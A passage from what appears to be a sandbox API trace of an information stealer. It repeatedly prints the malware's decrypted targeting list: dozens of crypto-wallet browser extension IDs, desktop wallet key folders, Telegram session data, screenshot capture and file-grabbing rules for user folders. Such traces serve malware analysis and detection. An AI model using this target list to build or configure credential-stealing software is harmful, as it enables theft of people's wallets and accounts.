Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.782] lstrlenW (lpString="ews_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3793 [0259.782] lstrlenW (lpString="ews_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3793 [0259.782] LocalAlloc (uFlags=0x40, uBytes=0x1da2) returned 0x6b9720 [0259.783] lstrlenW (lpString="ews_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3793 [0259.783] LocalAlloc (uFlags=0x40, uBytes=0x1da2) returned 0x6bb4d0 [0259.783] lstrlenW (lpString="ews_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3793 [0259.783] LocalAlloc (uFlags=0x40, uBytes=0x1da2) returned 0x6bd280 [0259.783] StrStrW (lpFirst="ews_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension 